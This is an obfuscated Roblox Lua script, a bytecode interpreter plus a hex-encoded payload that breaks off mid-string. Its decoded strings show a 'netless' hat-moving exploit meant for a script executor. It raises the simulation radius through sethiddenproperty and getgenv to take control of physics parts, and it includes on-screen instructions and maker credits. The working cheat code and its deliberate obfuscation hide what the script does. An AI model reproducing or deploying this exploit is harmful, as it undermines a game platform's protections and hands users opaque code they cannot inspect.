v53[v60]=v62;end v51[3]=v20();for v64=1,v22() do local v65=v20();if (v19(v65,1,1)==0) then local v78=v19(v65,2,3);local v79=v19(v65,4,6);local v80={v21(),v21(),nil,nil};if (v78==0) then v80[3]=v21();v80[4]=v21();elseif (v78==1) then v80[3]=v22();elseif (v78==2) then v80[3]=v22() -(2^16);elseif (v78==3) then v80[3]=v22() -(2^16);v80[4]=v21();end if (v19(v79,1,1)==1) then v80[2]=v53[v80[2]];end if (v19(v79,2,2)==1) then v80[3]=v53[v80[3]];end if (v19(v79,3,3)==1) then v80[4]=v53[v80[4]];end v48[v64]=v80;end end for v66=1,v22() do v49[v66-1]=v27();end for v68=1,v22() do v50[v68]=v22();end return v51;end local function v28(v34,v35,v36)local v55=v34[1];local v56=v34[2];local v57=v34[3];return function(...)local v73=1;local v74= -1;local v75={...};local v76=v11("#",...) -1;local function v77()local v83=v55;local v84=Const;local v85=v56;local v86=v57;local v87=v26;local v88={};local v89={};local v90={};for v100=0,v76 do if (v100>=v86) then v88[v100-v86]=v75[v100 + 1];else v90[v100]=v75[v100 + 1];end end local v91=(v76-v86) + 1;local v92;local v93;while true do v92=v83[v73];v93=v92[1];if (v93<=19) then if (v93<=9) then if (v93<=4) then if (v93<=1) then if (v93>0) then local v107=v92[2];v90[v107](v12(v90,v107 + 1,v92[3]));else local v108=v92[2];local v109={v90[v108](v12(v90,v108 + 1,v74))};local v110=0;for v139=v108,v92[4] do v110=v110 + 1;v90[v139]=v109[v110];end end elseif (v93<=2) then for v141=v92[2],v92[3] do v90[v141]=nil;end elseif (v93>3) then local v149=v85[v92[3]];local v150;local v151={};v150=v9({},{__index=function(v178,v179)local v191=v151[v179];return v191[1][v191[2]];end,__newindex=function(v180,v181,v182)local v192=v151[v181];v192[1][v192[2]]=v182;end});for v183=1,v92[4] do v73=v73 + 1;local v184=v83[v73];if (v184[1]==22) then v151[v183-1]={v90,v184[3]};else v151[v183-1]={v35,v184[3]};end v89[ #v89 + 1]=v151;end v90[v92[2]]=v28(v149,v150,v36);else v36[v92[3]]=v90[v92[2]];end elseif (v93<=6) then if (v93==5) then local v111=v92[2];local v112={v90[v111](v90[v111 + 1])};local v113=0;for v143=v111,v92[4] do v113=v113 + 1;v90[v143]=v112[v113];end elseif v90[v92[2]] then v73=v73 + 1;else v73=v92[3];end elseif (v93<=7) then v90[v92[2]]=v90[v92[3]] + v90[v92[4]];elseif (v93>8) then if (v90[v92[2]]~=v92[4]) then v73=v73 + 1;else v73=v92[3];end else local v154=v92[2];v90[v154](v90[v154 + 1]);end elseif (v93<=14) then if (v93<=11) then if (v93>10) then v73=v92[3];else do return;end end elseif (v93<=12) then local v115=v92[2];local v116=v92[4];local v117=v115 + 2;local v118={v90[v115](v90[v115 + 1],v90[v117])};for v145=1,v116 do v90[v117 + v145]=v118[v145];end local v119=v118[1];if v119 then v90[v117]=v119;v73=v92[3];else v73=v73 + 1;end elseif (v93==13) then v90[v92[2]][v92[3]]=v90[v92[4]];else v90[v92[2]]=v90[v92[3]] -v90[v92[4]];end elseif (v93<=16) then if (v93>15) then v90[v92[2]]();else local v120=v92[2];v90[v120]=v90[v120](v12(v90,v120 + 1,v92[3]));end elseif (v93<=17) then local v122=v92[2];v90[v122](v12(v90,v122 + 1,v74));elseif (v93>18) then local v158=v92[2];v90[v158]=v90[v158](v90[v158 + 1]);else local v160=v92[2];v90[v160]=v90[v160]();end elseif (v93<=29) then if (v93<=24) then if (v93<=21) then if (v93==20) then v90[v92[2]]=v90[v92[3]][v90[v92[4]]];elseif (v90[v92[2]]==v90[v92[4]]) then v73=v73 + 1;else v73=v92[3];end elseif (v93<=22) then v90[v92[2]]=v90[v92[3]];elseif (v93==23) then v90[v92[2]]=v92[3];else local v163=v92[2];local v164={};for v186=1, #v89 do local v187=v89[v186];for v194=0, #v187 do local v195=v187[v194];local v196=v195[1];local v197=v195[2];if ((v196==v90) and (v197>=v163)) then v164[v197]=v196[v197];v195[1]=v164;end end end end elseif (v93<=26) then if (v93>25) then v90[v92[2]]=v28(v85[v92[3]],nil,v36);else local v126=v92[2];local v127,v128=v87(v90[v126](v90[v126 + 1]));v74=(v128 + v126) -1;local v129=0;for v147=v126,v74 do v129=v129 + 1;v90[v147]=v127[v129];end end elseif (v93<=27) then v90[v92[2]][v92[3]]=v92[4];elseif (v93>28) then v90[v92[2]]=v90[v92[3]] -v92[4];else v90[v92[2]]=v36[v92[3]];end elseif (v93<=34) then if (v93<=31) then if (v93>30) then v90[v92[2]]=v90[v92[3]] * v90[v92[4]];else v90[v92[2]]=v90[v92[3]] + v92[4];end elseif (v93<=32) then local v133=v92[2];local v134=v90[v92[3]];v90[v133 + 1]=v134;v90[v133]=v134[v92[4]];elseif (v93==33) then v90[v92[2]]=v92[3]~=0;else local v168=v92[2];local v169,v170=v87(v90[v168](v12(v90,v168 + 1,v92[3])));v74=(v170 + v168) -1;local v171=0;for v188=v168,v74 do v171=v171 + 1;v90[v188]=v169[v171];end end elseif (v93<=37) then if (v93<=35) then v90[v92[2]]=v90[v92[3]][v92[4]];elseif (v93==36) then local v172=v92[3];local v173=v90[v172];for v190=v172 + 1,v92[4] do v173=v173 .. v90[v190];end v90[v92[2]]=v173;else local v175=v92[2];v90[v175]=v90[v175](v12(v90,v175 + 1,v74));end elseif (v93<=38) then v90[v92[2]]=v35[v92[3]];elseif (v93>39) then v90[v92[2]]={};elseif (v90[v92[2]]==v92[4]) then v73=v73 + 1;else v73=v92[3];end v73=v73 + 1;end end A,B=v26(v10(v77));if not A[1] then local v94=v34[4][v73] or "?";error("Script error at [" .. v94 .. "]:" .. A[2]);else return v12(A,2,B);end end;end return v28(v27(),{},v16)();end v14("LOL!B53O0003083O00746F737472696E6703043O006D61746803063O0072616E646F6D024O0084D79741022O0080FF642OCD4103083O00496E7374616E63652O033O006E657703093O005363722O656E47756903043O004E616D6503053O004672616D65030A3O00496D6167654C6162656C03093O00546578744C6162656C030A3O005465787442752O746F6E03063O00506172656E7403043O0067616D6503073O00506C6179657273030B3O004C6F63616C506C61796572030C3O0057616974466F724368696C6403093O00506C61796572477569030E3O005A496E6465784265686176696F7203043O00456E756D03073O005369626C696E6703103O004261636B67726F756E64436F6C6F723303063O00436F6C6F723303073O0066726F6D524742025O00E06F40028O0003163O004261636B67726F756E645472616E73706172656E6379026O00F03F03083O00506F736974696F6E03053O005544696D3202DC9E97BF7F89D53F0271DCE5FFAE7FCE3F03043O0053697A65025O00C07B40025O00707A4003053O00496D61676503293O00682O74703A2O2F3O772E726F626C6F782E636F6D2F612O7365742F3F69643D393637383733382O3702CC6C2F20B6DFB13F029EFECE5FF127B23F025O00806640025O0080424003043O00466F6E74030A3O00536F7572636553616E7303043O005465787403313O004D6164652062793A2028312B313D32206F6E20726F626C6F78292C2028726F75786861766572206F6E2067697468756229030A3O0054657874436F6C6F7233030A3O00546578745363616C65642O0103083O005465787453697A65026O002C40030B3O00546578745772612O706564029E973EFF3346C43F030D3O00496E737472756374696F6E733A02FD493060BFA3B73F02920645609DA4D03F025O00307740026O002O4003123O00286F6E6C7920776F726B7320696E20523629026O003940030E3O005465787458416C69676E6D656E7403043O004C656674030E3O005465787459416C69676E6D656E742O033O00546F70020EA7D63FAB93D43F03223O00312E20457175697020226D6F76652220742O6F6C20746F206D6F766520686174732E022C6F19004235D83F025O00804A4003333O00322E205072652O7320746865205120616E642045206B65797320746F206D6F7665204861747320757020616E6420646F776E2E02473F24C00C1DE03F03293O00332E205072652O73205220616E642054206B65797320746F20726F7461746520616E642074696C742E02238B2C80C688E23F032C3O00342E2045717569702022636F2O6C6964652220742O6F6C20746F20746F2O676C6520636F2O6C6973696F6E2E0200D7344080F4E43F025O00405C4003423O00352E205768656E2066692O6E69736865642077697468204275696C642C205072652O73207468652042206B657920746F20616E63686F72652074686520486174732E03013O0032030C3O00426F72646572436F6C6F7233025O00406540030F3O00426F7264657253697A65506978656C026O000840026O66EA3F029A5O99B93F025O00802O4003013O005803113O004D6F75736542752O746F6E31436C69636B03073O00636F2O6E65637403043O00742O6F6C03043O00542O6F6C03093O0043686172616374657203043O004D6F766503063O00736D2O6F746803063O00426C6F636B7903053O00742O6F6C3303083O004261636B7061636B030A3O004D6F76656D656E74205B03013O005D030A3O0063616E636F2O6C69646503053O00742O6F6C32030B3O00436F2O6C6973696F6E205B2O033O00657175030A3O0047657453657276696365030A3O0052756E5365727669636503093O0048656172746265617403073O00436F2O6E65637403043O0077616974029A5O99C93F03043O006E657874030E3O0047657444657363656E64616E74732O033O0049734103083O00426173655061727403103O0048756D616E6F6964522O6F745061727403053O007061697273030B3O004765744368696C6472656E03053O007461626C6503063O00696E73657274030A3O005374617274657247756903073O00536574436F726503103O0053656E644E6F74696669636174696F6E03053O005469746C65030C3O004E6F74696669636174696F6E030B3O004E65746C652O732052616E03043O0049636F6E032F3O007262787468756D623A2O2F747970653D412O7365742669643D353130373138322O313426773D31353026683D31353003083O004475726174696F6E026O00304003083O004765744D6F75736503093O00776F726B7370616365030E3O0046696E6446697273744368696C6403153O006D69736370617274733139312O302O3130313031300003063O00466F6C64657203073O0067657467656E76030A3O006D616B656D6F7665727303043O00722O6F7403083O0048756D616E6F6964030A3O004175746F526F74617465010003083O00416E63686F72656403063O00434672616D6503093O00412O63652O736F7279026O0024C0026O002440025O0088C340024O00F069F84003073O00706172656E743103073O00566563746F723303063O0048616E646C65026O66E63F03053O00426C6F636B03063O00706172656E7403063O00706C6163657203093O00686974646574656374027B14AE47E17A843F03023O00686403043O006472616703043O006472756E030B3O0042752O746F6E31446F776E03093O0042752O746F6E31557003073O0072752O6E696E6703053O007072696E7403093O002372752O6E696E67232O033O0061686903043O00726F747903043O00726F747803103O0055736572496E70757453657276696365030A3O00496E707574426567616E03063O004865616C746803073O0044657374726F7903053O00666C2O6F72030A3O00666F756E647061727473026O00E03F03013O005A03013O00592O033O0048697403043O0057656C6403023O00433003063O00416E676C65732O033O00726164030C3O0054617267657446696C74657203063O00536D2O6F74680054042O00121C3O00013O00121C000100023O002023000100010003001217000200043O001217000300054O0022000100034O00255O000200121C000100063O002023000100010007001217000200084O001300010002000200100D000100093O00121C000200063O0020230002000200070012170003000A4O001300020002000200121C000300063O0020230003000300070012170004000B4O001300030002000200121C000400063O0020230004000400070012170005000C4O001300040002000200121C000500063O0020230005000500070012170006000C4O001300050002000200121C000600063O0020230006000600070012170007000C4O001300060002000200121C000700063O0020230007000700070012170008000C4O001300070002000200121C000800063O0020230008000800070012170009000C4O001300080002000200121C000900063O002023000900090007001217000A000C4O001300090002000200121C000A00063O002023000A000A0007001217000B000C4O0013000A0002000200121C000B00063O002023000B000B0007001217000C000C4O0013000B0002000200121C000C00063O002023000C000C0007001217000D000D4O0013000C0002000200121C000D000F3O002023000D000D0010002023000D000D0011002O20000D000D0012001217000F00134O000F000D000F000200100D0001000E000D00121C000D00153O002023000D000D0014002023000D000D001600100D00010014000D00100D0002000E000100121C000D00183O002023000D000D0019001217000E001A3O001217000F001B3O0012170010001B4O000F000D0010000200100D00020017000D00301B0002001C001D00121C000D001F3O002023000D000D0007001217000E00203O001217000F001B3O001217001000213O0012170011001B4O000F000D0011000200100D0002001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00233O0012170010001B3O001217001100244O000F000D0011000200100D00020022000D00100D0003000E000200100D000300093O00121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D00030017000D00301B0003001C001D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00233O0012170010001B3O001217001100244O000F000D0011000200100D00030022000D00301B00030025002600100D000400093O00100D0004000E000300121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D00040017000D00301B0004001C001D00121C000D001F3O002023000D000D0007001217000E00273O001217000F001B3O001217001000283O0012170011001B4O000F000D0011000200100D0004001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00293O0012170010001B3O0012170011002A4O000F000D0011000200100D00040022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D0004002B000D00301B0004002D002E00121C000D00183O002023000D000D0019001217000E001B3O001217000F001B3O0012170010001B4O000F000D0010000200100D0004002F000D00301B00040030003100301B00040032003300301B00040034003100100D000500093O00100D0005000E000300121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D00050017000D00301B0005001C001D00121C000D001F3O002023000D000D0007001217000E00273O001217000F001B3O001217001000353O0012170011001B4O000F000D0011000200100D0005001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00293O0012170010001B3O0012170011002A4O000F000D0011000200100D00050022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D0005002B000D00301B0005002D003600121C000D00183O002023000D000D0019001217000E001B3O001217000F001B3O0012170010001B4O000F000D0010000200100D0005002F000D00301B00050030003100301B00050032003300301B00050034003100100D000600093O00100D0006000E000300121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D00060017000D00301B0006001C001D00121C000D001F3O002023000D000D0007001217000E00373O001217000F001B3O001217001000383O0012170011001B4O000F000D0011000200100D0006001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00393O0012170010001B3O0012170011003A4O000F000D0011000200100D00060022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D0006002B000D00301B0006002D003B00121C000D00183O002023000D000D0019001217000E001B3O001217000F001B3O0012170010001B4O000F000D0010000200100D0006002F000D00301B00060032003C00301B00060034003100121C000D00153O002023000D000D003D002023000D000D003E00100D0006003D000D00121C000D00153O002023000D000D003F002023000D000D004000100D0006003F000D00100D000700093O00100D0007000E000300121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D00070017000D00301B0007001C001D00121C000D001F3O002023000D000D0007001217000E00373O001217000F001B3O001217001000413O0012170011001B4O000F000D0011000200100D0007001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00393O0012170010001B3O0012170011003A4O000F000D0011000200100D00070022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D0007002B000D00301B0007002D004200121C000D00183O002023000D000D0019001217000E001B3O001217000F001B3O0012170010001B4O000F000D0010000200100D0007002F000D00301B00070032003C00301B00070034003100121C000D00153O002023000D000D003D002023000D000D003E00100D0007003D000D00121C000D00153O002023000D000D003F002023000D000D004000100D0007003F000D00100D000800093O00100D0008000E000300121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D00080017000D00301B0008001C001D00121C000D001F3O002023000D000D0007001217000E00373O001217000F001B3O001217001000433O0012170011001B4O000F000D0011000200100D0008001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00393O0012170010001B3O001217001100444O000F000D0011000200100D00080022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D0008002B000D00301B0008002D004500121C000D00183O002023000D000D0019001217000E001B3O001217000F001B3O0012170010001B4O000F000D0010000200100D0008002F000D00301B00080032003C00301B00080034003100121C000D00153O002023000D000D003D002023000D000D003E00100D0008003D000D00121C000D00153O002023000D000D003F002023000D000D004000100D0008003F000D00100D000900093O00100D0009000E000300121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D00090017000D00301B0009001C001D00121C000D001F3O002023000D000D0007001217000E00373O001217000F001B3O001217001000463O0012170011001B4O000F000D0011000200100D0009001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00393O0012170010001B3O0012170011003A4O000F000D0011000200100D00090022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D0009002B000D00301B0009002D004700121C000D00183O002023000D000D0019001217000E001B3O001217000F001B3O0012170010001B4O000F000D0010000200100D0009002F000D00301B00090032003C00301B00090034003100121C000D00153O002023000D000D003D002023000D000D003E00100D0009003D000D00121C000D00153O002023000D000D003F002023000D000D004000100D0009003F000D00100D000A00093O00100D000A000E000300121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D000A0017000D00301B000A001C001D00121C000D001F3O002023000D000D0007001217000E00373O001217000F001B3O001217001000483O0012170011001B4O000F000D0011000200100D000A001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00393O0012170010001B3O0012170011003A4O000F000D0011000200100D000A0022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D000A002B000D00301B000A002D004900121C000D00183O002023000D000D0019001217000E001B3O001217000F001B3O0012170010001B4O000F000D0010000200100D000A002F000D00301B000A0032003C00301B000A0034003100121C000D00153O002023000D000D003D002023000D000D003E00100D000A003D000D00121C000D00153O002023000D000D003F002023000D000D004000100D000A003F000D00100D000B00093O00100D000B000E000300121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D000B0017000D00301B000B001C001D00121C000D001F3O002023000D000D0007001217000E00373O001217000F001B3O0012170010004A3O0012170011001B4O000F000D0011000200100D000B001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00393O0012170010001B3O0012170011004B4O000F000D0011000200100D000B0022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D000B002B000D00301B000B002D004C00121C000D00183O002023000D000D0019001217000E001B3O001217000F001B3O0012170010001B4O000F000D0010000200100D000B002F000D00301B000B0032003C00301B000B0034003100121C000D00153O002023000D000D003D002023000D000D003E00100D000B003D000D00121C000D00153O002023000D000D003F002023000D000D004000100D000B003F000D2O0016000D5O001217000E004D4O0024000D000D000E00100D000C0009000D00100D000C000E000200121C000D00183O002023000D000D0019001217000E001A3O001217000F001B3O0012170010001B4O000F000D0010000200100D000C0017000D00121C000D00183O002023000D000D0019001217000E004F3O001217000F001B3O0012170010001B4O000F000D0010000200100D000C004E000D00301B000C0050005100121C000D001F3O002023000D000D0007001217000E00523O001217000F001B3O001217001000533O0012170011001B4O000F000D0011000200100D000C001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00543O0012170010001B3O001217001100544O000F000D0011000200100D000C0022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D000C002B000D00301B000C002D005500121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D000C002F000D00301B000C0030003100301B000C0032003300301B000C00340031002023000D000C0056002O20000D000D0057000604000F3O000100012O00163O00014O0001000D000F000100121C000D00063O002023000D000D0007001217000E00593O00121C000F000F3O002023000F000F0010002023000F000F0011002023000F000F005A2O000F000D000F0002001203000D00583O00121C000D00583O00301B000D0009005B001217000D005D3O001203000D005C3O00121C000D00063O002023000D000D0007001217000E00593O00121C000F000F3O002023000F000F0010002023000F000F0011002023000F000F005F2O000F000D000F0002001203000D005E3O00121C000D005E3O001217000E00603O00121C000F005C3O001217001000614O0024000E000E001000100D000D0009000E2O0021000D5O001203000D00623O00121C000D00063O002023000D000D0007001217000E00593O00121C000F000F3O002023000F000F0010002023000F000F0011002023000F000F005F2O000F000D000F0002001203000D00633O00121C000D00633O001217000E00643O00121C000F00013O00121C001000624O0013000F00020002001217001000614O0024000E000E001000100D000D0009000E2O0021000D5O001203000D00653O00121C000D000F3O002O20000D000D0066001217000F00104O000F000D000F0002002023000D000D001100121C000E000F3O002O20000E000E0066001217001000674O000F000E00100002002023000E000E0068002O20000F000E006900060400110001000100012O00163O000D4O0001000F0011000100121C000F006A3O0012170010006B4O0008000F0002000100121C000F006C3O00121C0010000F3O002O20001000100066001217001200104O000F00100012000200202300100010001100202300100010005A002O2000100010006D2O000500100002001100040B3O00770201002O2000140013006E0012170016006F4O000F001400160002002O060014007602013O00040B3O00760201002023001400130009002609001400760201007000040B3O0076020100121C0014000F3O002O20001400140066001217001600674O000F001400160002002023001400140068002O2000140014005700060400160002000100012O00163O00134O00010014001600012O001800125O00060C000F00650201000200040B3O0065020100121C000F006A3O0012170010006B4O0008000F0002000100121C000F000F3O002023000F000F0010002023000F000F0011002023000F000F005A2O002800105O00121C001100713O00121C0012000F3O00202300120012001000202300120012001100202300120012005F002O200012001200722O0019001200136O00113O001300040B3O00950201002O2000160015006E001217001800594O000F001600180002002O060016009502013O00040B3O0095020100100D0015000E000F00121C001600733O0020230016001600742O0016001700104O0016001800154O000100160018000100060C0011008A0201000200040B3O008A020100121C0011006A4O001000110001000100121C001100714O0016001200104O000500110002001300040B3O00A2020100121C0016000F3O00202300160016001000202300160016001100202300160016005F00100D0015000E001600060C0011009D0201000200040B3O009D020100121C0011006A3O001217001200534O000800110002000100121C0011000F3O002O20001100110066001217001300754O000F001100130002002O20001100110076001217001300774O002800143O000300301B00140078007900301B0014002D007A00301B0014007B007C2O00010011001400010012170011007E3O0012030011007D3O00121C0011000F3O002O20001100110066001217001300104O000F001100130002002023001200110011002O2000130012007F2O001300130002000200121C0014000F3O002023001400140080002O20001400140081001217001600824O000F001400160002002627001400D00201008300040B3O00D0020100021A001400033O00121C001500063O002023001500150007001217001600843O00202300170012005A2O000F00150017000200301B00150009008200121C001600854O001200160001000200060400170004000100022O00163O00154O00163O00143O00100D0016008600172O001800145O00121C001400063O002023001400140007001217001500843O00121C001600804O000F00140016000200021A001500053O00021A001600063O00202300170012005A002023001700170070001203001700873O00202300170012005A00202300170017008800301B00170089008A00121C001700873O00301B0017008B003100121C001700873O00121C0018008C3O00202300180018000700121C001900873O00202300190019001E2O001300180002000200100D0017008C001800121C001700713O00121C0018000F3O00202300180018001000202300180018001100202300180018005A002O2000180018006D2O0019001800196O00173O001900040B3O004C0301002O20001C001B006E001217001E008D4O000F001C001E0002002O06001C004C03013O00040B3O004C030100121C001C00023O002023001C001C0003001217001D008E3O001217001E008F4O000F001C001E000200121C001D00023O002023001D001D0003001217001E008E3O001217001F008F4O000F001D001F000200121C001E00013O00121C001F00023O002023001F001F0003001217002000903O001217002100914O0022001F00214O0025001E3O00022O0016001F00153O001217002000923O00202300210012005A00202300210021007000202300210021001E00121C002200933O0020230022002200072O00160023001C3O0012170024001B4O00160025001D4O000F0022002500022O00070021002100220020230022001B009400202300220022002200121C002300933O002023002300230007001217002400953O001217002500953O001217002600954O000F0023002600022O0007002200220023001217002300964O0021002400014O0016002500144O0001001F00250001002023001F00140092001203001F00973O00121C001F00973O00100D001F0009001E2O0016001F00153O001217002000983O00202300210012005A00202300210021007000202300210021001E00121C002200933O002023002200220007001217002300533O001217002400533O001217002500534O000F002200250002001217002300964O002100245O00121C002500974O0001001F002500012O0016001F00164O00160020001B3O00202300210012005A00202300210021007000121C002200973O00202300220022009800121C0023008C3O0020230023002300072O00160024001C3O0012170025001B4O00160026001D4O0022002300264O0011001F3O000100121C001F00863O0020230020001B009400121C0021008C3O0020230021002100070012170022001B3O0012170023001B3O0012170024001B4O000F00210024000200121C002200973O0020230022002200982O002100236O002100246O0001001F0024000100100D001B0009001E00060C001700EF0201000200040B3O00EF02012O0016001700153O001217001800993O00121C001900933O002023001900190007001217001A001B3O001217001B001B3O001217001C001B4O000F0019001C000200121C001A00933O002023001A001A0007001217001B009A3O001217001C009A3O001217001D009A4O000F001A001D0002001217001B00964O0021001C00014O0016001D00144O00010017001D00010020230017001400990012030017009B3O0012170017001B3O0012030017009C4O002100175O0012030017009D3O00202300170013009E002O2000170017006900060400190007000100012O00163O00134O000100170019000100202300170013009F002O2000170017006900060400190008000100012O00163O00134O00010017001900012O0021001700013O001203001700A03O00121C001700A13O001217001800A24O00080017000200010012170017001B3O001203001700A33O0012170017001B3O001203001700A43O0012170017001B3O001203001700A53O00121C0017000F3O002O20001700170066001217001900A64O000F0017001900020020230018001700A7002O20001800180069000604001A0009000100022O00163O00144O00163O00124O00010018001A000100121C0018006A3O0012170019009A4O0013001800020002002O060018004604013O00040B3O0046040100202300180012005A0020230018001800880020230018001800A8002627001800930301001B00040B3O00930301002O200018001400A92O00080018000200012O002100185O001203001800A03O00121C001800A03O002627001800970301008A00040B3O0097030100040B3O0046040100121C0018009C3O002627001800020401001D00040B3O0002040100121C0018005C3O002627001800BA0301005D00040B3O00BA030100121C001800023O0020230018001800AA00121C001900AB3O00202300190019001D00202300190019001E002023001900190055002023001A0012005A002023001A001A0070002023001A001A001E002023001A001A00552O000E00190019001A00201E0019001900AC2O0013001800020002001203001800553O00121C001800023O0020230018001800AA00121C001900AB3O00202300190019001D00202300190019001E0020230019001900AD002023001A0012005A002023001A001A0070002023001A001A001E002023001A001A00AD2O000E00190019001A00201E0019001900AC2O0013001800020002001203001800AD3O00040B3O00CE030100121C001800AB3O00202300180018001D00202300180018001E00202300180018005500202300190012005A00202300190019007000202300190019001E0020230019001900552O000E001800180019001203001800553O00121C001800AB3O00202300180018001D00202300180018001E0020230018001800AD00202300190012005A00202300190019007000202300190019001E0020230019001900AD2O000E001800180019001203001800AD3O00121C001800AB3O00202300180018001D00202300180018001E0020230018001800AE00202300190012005A00202300190019007000202300190019001E0020230019001900AE2O000E001800180019001203001800AE3O00121C001800AB3O00202300180018001D0020230019001300AF00202300190019001E00121C001A00933O002023001A001A0007001217001B001B3O00121C001C00A33O001217001D001B4O000F001A001D00022O000700190019001A00100D0018001E001900202300180012005A00121C001900AB3O00202300190019001D0020230019001900092O00140018001800190020230018001800B000121C0019008C3O00202300190019000700121C001A00553O00121C001B00AE3O00121C001C00AD4O000F0019001C000200121C001A008C3O002023001A001A00B200121C001B00023O002023001B001B00B300121C001C00A54O0013001B0002000200121C001C00023O002023001C001C00B300121C001D00A44O0013001C00020002001217001D001B4O000F001A001D00022O001F00190019001A00100D001800B1001900121C001800AB3O00202300180018001D00202300180018000E00100D001300B4001800121C001800583O00202300180018000E0020230018001800090026090018000D0401005F00040B3O000D040100121C0018009C3O0026090018000D0401001D00040B3O000D04012O0021001800013O001203001800653O00040B3O000F04012O002100185O001203001800653O00121C001800633O00202300180018000E0020230018001800090026090018002A0401005F00040B3O002A040100121C001800623O0026270018001A0401008A00040B3O001A04012O0021001800013O001203001800623O00040B3O001C04012O002100185O001203001800623O00121C001800633O001217001900643O00121C001A00013O00121C001B00624O0013001A00020002001217001B00614O002400190019001B00100D00180009001900121C001800633O00121C0019000F3O00202300190019001000202300190019001100202300190019005F00100D0018000E001900121C0018005E3O00202300180018000E002023001800180009002609001800850301005F00040B3O0085030100121C0018005C3O002627001800350401005D00040B3O00350401001217001800B53O0012030018005C3O00040B3O003704010012170018005D3O0012030018005C3O00121C0018005E3O001217001900603O00121C001A00013O00121C001B005C4O0013001A00020002001217001B00614O002400190019001B00100D00180009001900121C0018005E3O00121C0019000F3O00202300190019001000202300190019001100202300190019005F00100D0018000E001900040B3O0085030100121C0018006A3O0012170019009A4O0013001800020002002O060018005304013O00040B3O0053040100202300180012005A0020230018001800880020230018001800A8002627001800460401001B00040B3O00460401002O200018001400A92O000800180002000100040B3O004604012O000A3O00013O000A3O00023O0003073O00456E61626C6564012O00034O00267O00301B3O000100022O000A3O00017O00033O00903O00903O00913O00053O0003173O004D6178696D756D53696D756C6174696F6E52616469757303043O006D61746803043O006875676503113O0073657468692O64656E70726F706572747903103O0053696D756C6174696F6E526164697573000B4O00267O00121C000100023O00202300010001000300100D3O0001000100121C3O00044O002600015O001217000200053O00121C000300023O0020230003000300032O00013O000300012O000A3O00017O000B3O009E3O009E3O009E3O009E3O009F3O009F3O009F3O009F3O009F3O009F3O00A03O00053O0003083O0056656C6F6369747903073O00566563746F72332O033O006E6577028O00026O003E4000094O00267O00121C000100023O002023000100010003001217000200043O001217000300053O001217000400044O000F00010004000200100D3O000100012O000A3O00017O00093O00A53O00A53O00A53O00A53O00A53O00A53O00A53O00A53O00A63O00093O0003043O0067616D65030A3O004765744F626A6563747303173O00726278612O73657469643A2O2F353736302O323335313403053O00706169727303063O00506172656E74030F3O005269676964697479456E61626C6564030B3O00412O746163686D656E7430030B3O00412O746163686D656E743103173O00726278612O73657469643A2O2F353736302O3235383239041D3O00121C000400013O002O20000400040002001217000600034O000F00040006000200121C000500044O0016000600044O000500050002000700040B3O000C000100100D000900053O00100D00090006000300100D00090007000100100D00090008000200060C000500080001000200040B3O0008000100121C000500013O002O20000500050002001217000700094O000F00050007000200121C000600044O0016000700054O000500060002000800040B3O001A000100100D000A00053O00100D000A0006000300100D000A0007000100100D000A0008000200060C000600160001000200040B3O001600012O000A3O00017O001D3O00BE3O00BE3O00BE3O00BE3O00BF3O00BF3O00BF3O00BF3O00C03O00C13O00C23O00C33O00BF3O00C33O00C53O00C53O00C53O00C53O00C63O00C63O00C63O00C63O00C73O00C83O00C93O00CA3O00C63O00CA3O00CC3O00254O00034O0003123O00506879736963616C50726F706572746965732O033O006E6577028O0003183O00437573746F6D506879736963616C50726F7065727469657303043O0067616D65030A3O0047657453657276696365030A3O0052756E5365727669636503083O00496E7374616E636503043O0050617274030C3O005472616E73706172656E6379026O00F03F030A3O0043616E436F2O6C696465010003043O004E616D6503153O0052616E646F6D2047656E6572617465642070617274030A3O00412O746163686D656E74030B3O00427265616B4A6F696E7473030E3O0046696E6446697273744368696C64030B3O005370656369616C4D65736803073O0044657374726F7903043O004D65736803073O004D6F746F72364403053O00506172743003053O00506172743103023O00433003063O00506172656E74030E3O004163746976654D6F76657248617403073O00506C6179657273030B3O004C6F63616C506C6179657203093O0043686172616374657203083O0048756D616E6F696403043O004469656403073O00436F2O6E65637403053O007072696E7403193O00486174206E6F74206578697374696E672041626F7274696E67055C3O002609000300040001000100040B3O00040001002627000300060001000200040B3O000600012O002100055O00040B3O000700012O0016000500033O0026093O00580001000100040B3O005800012O0016000600023O00121C000700033O002023000700070004001217000800053O001217000900053O001217000A00053O001217000B00053O001217000C00054O000F0007000C000200100D3O0006000700121C000800073O002O20000800080008001217000A00094O000F0008000A000200121C0009000A3O002023000900090004001217000A000B4O0026000B6O000F0009000B000200301B0009000C000D00301B0009000E000F00301B00090010001100121C000A000A3O002023000A000A0